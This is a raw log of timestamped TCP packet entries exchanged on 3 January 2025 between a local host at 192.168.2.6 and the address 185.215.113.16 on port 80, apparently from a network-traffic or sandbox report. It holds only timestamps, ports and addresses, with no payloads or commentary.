Jan 3, 2025 15:21:29.540191889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540204048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540208101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540220976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540230036 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540256977 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540266037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540277004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540287971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540298939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540312052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540323019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540350914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540427923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540438890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540452957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540466070 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540473938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540477037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540488958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540493965 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540501118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540513039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540513992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540524006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540538073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540569067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540569067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540586948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540599108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540611029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540621996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540623903 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540632963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540644884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540647984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540656090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540668011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540671110 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540684938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540755033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540766954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540791035 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.540947914 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.540998936 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.564642906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564747095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564759970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564771891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564784050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564786911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.564795971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564806938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564820051 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.564820051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564832926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.564835072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564847946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.564878941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.564891100 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.567399979 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567420006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567431927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567442894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567455053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567461967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.567466021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567478895 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.567507029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567512989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.567521095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567531109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567542076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567560911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567567110 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.567573071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.567589998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.567616940 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589088917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589107037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589118958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589129925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589142084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589159012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589159012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589170933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589193106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589211941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589222908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589234114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589246988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589257002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589268923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589268923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589301109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589387894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589400053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589411020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589421988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589433908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589442968 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589469910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589565039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589576006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589586973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589597940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589601040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589610100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589621067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589623928 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589648962 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589704037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589715004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589725018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589735985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589741945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589746952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589759111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589770079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589771032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589781046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.589795113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.589812040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.590826988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590842962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590854883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590866089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590883970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590886116 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.590893984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590905905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590934992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.590959072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.590964079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590975046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590986013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.590996981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591008902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591017962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591021061 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.591029882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591046095 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.591121912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591170073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.591300011 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591319084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591331005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591341972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591355085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.591355085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591370106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591382027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591383934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.591394901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591408014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591445923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.591445923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.591463089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.591501951 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.596255064 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.633290052 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646364927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646380901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646393061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646404028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646442890 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646465063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646508932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646522999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646537066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646548986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646560907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646572113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646572113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646583080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646595955 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646611929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646673918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646687031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646697998 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646708965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646723032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646748066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646836996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646850109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646861076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646871090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646882057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646888018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646893978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646902084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646904945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.646930933 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.646953106 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647017002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647027969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647039890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647048950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647068024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647069931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647089005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647092104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647099018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647109985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647120953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647138119 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647161007 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647170067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647183895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647195101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647206068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647229910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647345066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647360086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647393942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647403002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647413015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647424936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647433043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647435904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647448063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647456884 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647459030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647471905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647485971 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647506952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647562981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647573948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647584915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647595882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647607088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647608995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647617102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.647627115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.647651911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658083916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658246040 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658258915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658272028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658282995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658288002 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658296108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658307076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658341885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658411980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658430099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658442020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658452034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658463955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658469915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658478022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658488035 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658488989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658499956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658510923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658519983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658541918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.658561945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.658591986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.659070015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659246922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659260035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659271002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659287930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659295082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.659300089 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659308910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659322977 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659333944 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.659337044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.659344912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.659365892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.677835941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.677862883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.677876949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.677896023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.677901030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.677907944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.677920103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.677932978 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.677956104 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.677983999 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678006887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678019047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678044081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678045034 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678057909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678069115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678076982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678090096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678093910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678101063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678113937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678124905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678137064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678138018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678149939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678163052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678167105 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678174019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678184032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678186893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678195953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678199053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678211927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678221941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678222895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678239107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678247929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678248882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678261042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678272963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.678282976 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.678297997 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679023027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679035902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679047108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679075003 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679089069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679097891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679100990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679111958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679131985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679136038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679148912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679162025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679189920 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679189920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679203987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679214001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679217100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679239988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679241896 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679253101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679264069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679280996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679301023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679307938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:29.679322958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:29.679336071 CET	80	49829	185.215.113.16	192.168.2.6
